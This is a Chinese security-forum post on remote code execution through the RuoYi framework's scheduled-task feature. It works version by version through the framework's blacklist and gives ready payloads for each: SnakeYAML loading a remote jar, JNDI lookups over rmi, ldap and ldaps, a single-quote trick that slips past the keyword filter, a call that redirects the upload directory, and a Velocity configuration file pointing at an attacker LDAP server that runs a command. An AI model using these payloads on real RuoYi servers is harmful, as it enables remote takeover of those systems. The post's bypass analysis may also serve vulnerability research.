若依的rce点有两处,一处是定时任务,另外一处是thymeleaf的模板注入,本文着重针对定时任务的黑名单绕过

rce的原理分析其他师傅的文章已经讲的很明白了,此文不过多赘述

若依的定时任务为我们提供了可以执行某些类的某些方法,这些类方法必须满足以下条件

  • 具有无参构造方法
  • 调用的方法需要是类自身声明的方法,不能是他的父类方法
  • 构造方法和调用的方法均为 public

<4.6.2

这个版本之前无任何限制,可直接使用公开poc打

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')

org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')

不出网rce

这个版本下网上公开的大多为出网的利用,snakeyaml本身有个不出网写文件poc,但是在若依这里,逗号会造成截断,snakeyaml不支持unicode,十六进制编码,所以效果并不是纳闷好

但是我们可以使用file协议达到不出网的利用,前提是我们可以上传一个文件,这个文件的后缀可以是任意,若依提供了一个接口可以进行上传


此时我们需要找到上传后的绝对路径,但是上传路径写于配置文件中,对于linux来说大多都会进行修改

恰好若依的配置类是public修饰且有无参构造方法,setProfile也为public修饰

我们可以利用计划任务发射修改这个值,达到可控目录上传,从而利用file协议达到稳定的不出网rce

poc

com.ruoyi.common.config.RuoYiConfig.setProfile('E:/test')

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file://上传的绝对路径"]]]]')

>=4.6.2 <4.7.2

这个版本采用了黑名单限制调用字符串

  • 定时任务屏蔽ldap远程调用
  • 定时任务屏蔽http(s)远程调用
  • 定时任务屏蔽rmi远程调用

bypass

我们依然可以用上面的file协议达到不出网的rce效果,不过这个黑名单还有其他的绕过方式

ldaps

上面协议并没用禁止掉ldaps的调用,我们需要在我们ldap服务器上搭载一层ssl,依然可以实现ldap注入,不过相关实现比较麻烦

其他协议

例如ftp,file协议

单引号

针对调用字符串的处理,若依会将参数中的所有单引号替换为空,这就为我们提供了可乘之机,我们只需要在我们调用的危险字符间加入单引号即可绕过

poc:

org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://127.0.0.1:1099/refObj')

4.7.2

这个版本的解决办法依然是加入黑名单

网上公开的poc全部不可用,这里我跟了下class.forname的native层代码并没有找到可用的一些变形,java/net/URL这种会在native层抛出报错

解决办法只能寻找新的类,我暂时总结了一下依靠字符串可以造成rce的点

  • jndi
  • urlclassloader(GroovyClassLoader
  • 命令执行
  • 表达式
  • 加载指定路径的动态链接库文件
  • 反序列化
  • jdbc反序列化(8.0.20)

但是这里又带来了新的问题,满足只能字符串造成rce的点基本都是远程调用,而若依又屏蔽了相关的关键字,我找到了jndibypass常用的一个类javax.el.ELProcessor#eval,但是调用此类的时候发现表达式中的右括号,若依在处理的时候会造成截断

调用字符串只要出现)后面的字符串就会被丢弃。此路不通

bypass

ldaps

这里黑名单依然没有限制ldaps,不过我们得寻找一个新得类进行ldaps注入,这里提供一个

poc:

org.springframework.jdbc.datasource.lookup.JndiDataSourceLookup.getDataSource('ldaps://xxx')

配置文件rce

这里灵感来源于log4j得配置文件rce,我们找到了velocity的配置文件,这里可以配置我们的jndi地址,我们需要找到一个source点

org.apache.velocity.runtime.RuntimeInstance#init

这里的setProperties便是读取输入的配置文件路径并生成一个配置类,只要我们文件可控,这个配置类便完全可控,配置文件示例

resource.loader = ds
ds.resource.loader.public.name = DataSource
ds.resource.loader.description = Velocity DataSource Resource Loader
ds.resource.loader.class = org.apache.velocity.runtime.resource.loader.DataSourceResourceLoader
ds.resource.loader.datasource_url = ldap://xxx:1389/TomcatBypass/Command/Base64/Y2FsYy5leGU=
ds.resource.loader.resource.table = tb_velocity_template
ds.resource.loader.resource.keycolumn = id_template
ds.resource.loader.resource.templatecolumn = template_definition
ds.resource.loader.resource.timestampcolumn = template_timestamp
ds.resource.loader.cache = false
ds.resource.loader.modificationCheckInterval = 60

不同版本的velocity,配置文件写法有所差异

跟进init方法

跟进initializeResourceManager方法

跟进initialize方法,这里会根据配置文件中的resource.loader.class 选择合适的resourceloader,我们选择datasourceresourceloader,这里可以到达我们的sink点

到达datasourceresourceloader的init方法,这里的datasource我们可以根据配置文件进行控制

而sink点在此类下的openDBConnection方法,datasourcename我们完全可控

我们回到org.apache.velocity.runtime.RuntimeInstance#init方法,设置完resourceloder后,velocity会根据配置文件得到的配置类进行相关初始化与check,而其中的initVelocimacro会check datasourcename

调用栈如下

我们通过上面4.6.2版本的方法可控目录上传一个配置文件即可绕过若依的黑名单,通过org.apache.velocity.runtime.RuntimeInstance#init达到稳定出网rce

poc:

org.apache.velocity.runtime.RuntimeInstance.init('E:/ee.txt')

不出网rce

这里利用的是com.sun.glass.utils.NativeLibLoader#loadLibrary方法(浅蓝师傅jndi byapss文章中提到的),我们只需要上传一个.dll(.so)文件即可通过此方法执行命令,但是较为可惜的是,此方法限制了后缀必须为.dll .so,这在若依里是没办法上传的

这里需要我们重新挖掘一个类,帮助我们可以重命名一个文件,感兴趣的师傅可以研究一下

4.7.3(最新版)

这个版本刚好今天更新(3.1)限制改为了黑白名单,只能调用com.ruoyi包下的类!

暂时没有好的绕过思路。

点击收藏 | 5 关注 | 2 打赏
登录 后跟帖